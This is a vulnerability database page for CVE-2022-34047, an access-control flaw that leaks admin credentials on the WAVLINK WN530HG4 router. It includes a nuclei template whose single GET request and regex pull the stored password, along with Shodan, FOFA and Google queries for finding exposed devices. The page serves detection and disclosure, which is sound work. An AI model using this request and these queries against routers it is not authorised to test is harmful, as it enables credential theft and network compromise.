Browse / CVEs / CVE-2022-34047
CVE-2022-34047· wavlink / wl-wn530hg4 firmware· CWE-668
WAVLINK WN530HG4 - Improper Access Control
WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
Impact
An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
Fix
Apply the latest firmware update provided by the vendor to fix the access control issue.
How to confirm it
Send: GET /set_safety.shtml?r=52300
Positive when: contains "var syspasswd=\"" and "<title>APP</title>" AND status 200Run it with nuclei: nuclei -id CVE-2022-34047 -u <target>
The full check
id: CVE-2022-34047
info:
name: WAVLINK WN530HG4 - Improper Access Control
author: For3stCo1d
severity: high
description: |
WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
remediation: |
Apply the latest firmware update provided by the vendor to fix the access control issue.
reference:
- https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
- http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-34047
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-34047
cwe-id: CWE-668
epss-score: 0.22194
epss-percentile: 0.97695
cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wavlink
product: wl-wn530hg4_firmware
shodan-query:
- http.title:"Wi-Fi APP Login"
- http.html:"wn530hg4"
- http.title:"wi-fi app login"
fofa-query:
- body="wn530hg4"
- title="wi-fi app login"
google-query: intitle:"wi-fi app login"
tags: cve,cve2022,wavlink,router,exposure,packetstorm,vuln
http:
- raw:
- |
GET /set_safety.shtml?r=52300 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'var syspasswd="'
- '<title>APP</title>'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- 'syspasswd="(.+?)"'References
- https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
- http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-34047
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from